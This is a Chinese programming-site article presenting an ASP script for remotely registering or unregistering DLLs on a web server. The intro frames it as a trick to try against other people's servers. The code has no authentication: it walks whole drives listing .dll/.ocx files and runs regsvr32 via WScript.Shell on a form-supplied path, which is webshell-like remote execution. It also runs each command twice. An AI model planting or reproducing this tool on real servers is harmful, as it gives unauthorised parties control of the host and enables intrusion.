选择显示字体大小

利用asp远程注册dll的方法

     老外真是聪明,这个方法也想得到,有兴趣的不妨试试,但是如果对方的服务器安全搞的很好的话,这个代码也许就不能用了,但不管怎么样,学习一下也是好的,:)
  
  
  
  <% response.buffer = true %>
  <% server.scripttimeout = 500
  dim frmfolderpath, frmfilepath
  
  frmfolderpath = request.form("frmfolderpath")
  frmfilepath = request.form("frmdllpath")
  frmmethod = request.form("frmmethod")
  btnreg = request.form("btnreg")
  %>
  
  <html>
  <head>
  <title>regsvr32.asp</title>
  <style type="text/css">
  .legend {font-family: veranda; font-size: 14px; font-weight: bold; color: blue}
  .fs {font-family: veranda; font-size: 12px; border-width: 4px; border-color: green;
  margin-left:2px; margin-right:2px}
  td {margin-left:6px; margin-right:6px; padding-left:12px; padding-right:12px}
  </style>
  </head>
  
  <body>
  <form name="regform" method="post">
  <table border=0 cellspacing=6 cellpadding=6 marginwidth=6>
  <tr>
  <td valign=top>
  <fieldset id=fs1 name=fs1 class=fs>
  <legend class=legend>regsvr functions</legend>
  insert path to dll directory<br>
  <input type=text name="frmfolderpath" value="<%=frmfolderpath%>"><br>
  <input type=submit name=btnfilelist value="build file list"><br>
  <%
  if request.form("btnfilelist") <> "" or btnreg <> "" then
  set registerfiles = new clsregister
  registerfiles.echob("<b>select file</b>")
  call registerfiles.init(frmfolderpath)
  registerfiles.echob("<br><input type=submit name=btnreg value=" & chr(34) _
  & "reg/unreg" & chr(34) & ">")
  if request.form("btnreg") <> "" then
  call registerfiles.register(frmfilepath, frmmethod)
  end if
  set registerfiles = nothing
  end if
  %>
  </fieldset>
  </td>
  </tr>
  </table>
  </form>
  </body>
  </html>
  <%
  class clsregister
  
  private m_ofs
  
  public property let ofs(objofs)
  m_ofs = objofs
  end property
  
  public property get ofs()
  set ofs = server.createobject("scripting.filesystemobject")
  end property
  
  
  sub init(strroot) \'root to search (c:, d:, e:)
  dim odrive, orootdir
  if ofs.folderexists(strroot) then
  if len(strroot) < 3 then \'must be a drive
  set odrive = ofs.getdrive(strroot)
  set orootdir = odrive.rootfolder
  else
  set orootdir = ofs.getfolder(strroot)
  end if
  else
  echob("<b>folder ( " & strroot & " ) not found.")
  exit sub
  end if
  setroot = orootdir
  
  echo("<select name=" & chr(34) & "frmdllpath" & chr(34) & ">")
  call getalldlls(orootdir)
  echob("</select>")
  buildoptions
  end sub
  
  sub getalldlls(oparentfolder)
  dim osubfolders, ofile, ofiles
  set osubfolders = oparentfolder.subfolders
  set opfiles = oparentfolder.files
  
  for each ofile in opfiles
  if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then
  echo("<option value=" & chr(34) & ofile.path & chr(34) & ">" _
  & ofile.name & "</option>")
  end if
  next
  
  on error resume next
  for each ofolder in osubfolders \'iterate all folders in drive
  set ofiles = ofolder.files
  for each ofile in ofiles
  if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then
  echo("<option value=" & chr(34) & ofile.path & chr(34) & ">" _
  & ofile.name & "</option>")
  end if
  next
  call getalldlls(ofolder)
  next
  on error goto 0
  end sub
  
  sub register(strfilepath, regmethod)
  dim thefile, strfile, oshell, exitcode
  set thefile = ofs.getfile(strfilepath)
  strfile = thefile.path
  
  set oshell = createobject ("wscript.shell")
  
  if regmethod = "reg" then \'register
  oshell.run "c:\\winnt\\system32\\regsvr32.exe /s " & strfile, 0, false
  exitcode = oshell.run("c:\\winnt\\system32\\regsvr32.exe /s " & strfile, 0, false)
  echob("regsvr32.exe exitcode = " & exitcode)
  else \'unregister
  oshell.run "c:\\winnt\\system32\\regsvr32.exe /u/s " & strfile, 0, false
  exitcode = oshell.run("c:\\winnt\\system32\\regsvr32.exe /u/s " & strfile, 0, false)
  echob("regsvr32.exe exitcode = " & exitcode)
  end if
  
  cleanup oshell
  end sub
  
  sub buildoptions
  echob("register: <input type=radio name=frmmethod value=reg checked>")
  echob("unregister: <input type=radio name=frmmethod value=unreg>")
  end sub
  
  function echo(str)
  echo = response.write(str & vbcrlf)
  end function
  
  function echob(str)
  echob = response.write(str & "<br>" & vbcrlf)
  end function
  
  sub cleanup(obj)
  if isobject(obj) then
  set obj = nothing
  end if
  end sub
  
  sub class_terminate()
  cleanup ofs
  end sub
  end class
  %>
  
  
    


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons